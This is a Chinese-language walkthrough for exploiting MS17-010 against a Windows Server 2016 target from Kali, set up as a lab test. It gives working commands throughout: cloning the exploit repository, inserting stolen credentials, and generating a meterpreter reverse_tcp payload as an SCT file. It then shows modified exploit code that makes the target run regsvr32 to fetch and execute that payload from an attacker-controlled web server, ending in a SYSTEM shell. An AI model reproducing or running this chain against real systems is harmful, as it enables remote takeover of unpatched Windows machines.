为了能够以简单的方式进行测试,我们需要一台Kali 2017.1 的虚拟机,另外需要一台Windows 2016(x64)的目标靶机。
图一 Windows 2016
如果访客用户处于活动状态,或者我们之前已经获得了目标有效用户凭据,则可以利用该漏洞,因为一旦漏洞被利用成功,我们可以将从普通用户权限提权到system权限。
在攻击机kali下执行:
在这里,我们将快速演示如何在目标靶机上写入一个文本文件。
首先下载ms17-010的利用脚本:
git clone https://github.com/worawit/MS17-010/
图二 下载ms17-010利用脚本
我们进入到MS17-010 文件件中并创建一个文件exploit.py ,该代码在:https://www.exploit-db.com/exploits/42315/中可获得(虽然该文件夹中的zzz_exploit.py和它有实现相同的功能,但也需要稍微修改其中的代码)
图三 创建一个exploit.py文件
一旦文件被创建,我们需要修改exploit.py中的代码,主要填入我们获取到目标靶机的用户名和密码(这里目标靶机是一个普通用户的权限)
图四 凭证的修改
然后执行命令,可以看到成功溢出对方目标靶机:
图五 执行命令
图六 目标c盘下创建pwned.txt
在这个基础上,我们已注意可以到可用很多方法获得一个反弹shell,并且完成了对目标靶机的控制,所有的一切都将取决于我们的攻击方法。 作者Sheila在在下面展示了利用SCT文件中嵌入shellcode的可能性。这个工具可以让我们以基于PowerShell的各种格式的生成和编码获得有效载荷的Metasploit。
下载PS1encode 工具
git clone https://github.com/CroweCybersecurity/ps1encode
2.创建SCT文件
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=IP_ATACANTE -- LPORT=4444 -t sct
图七 创建sct文件
将生成的index.sct 文件复制到/var/www/html
下 ,并赋予可执行权限,然后启动apache2 服务器。
cp index.sct /var/www/html/
chmod +x index.sct
service apache2 start
修改exploit.py,修改代码如下:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
service_exec(conn, r'regsvr32 /s /n /u /i:http://192.168.221.134/index.sct scrobj.dll')
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
在脚本中注册加载sct文件:
regsvr32 / s / n / u / i:http://192.168.221.134/index.sct scrobj.dll
图八 exploit.py的修改
在kali下创建一个msf的监听:
图九 创建msf监听
执行exploit:
图十 获得具用system的msf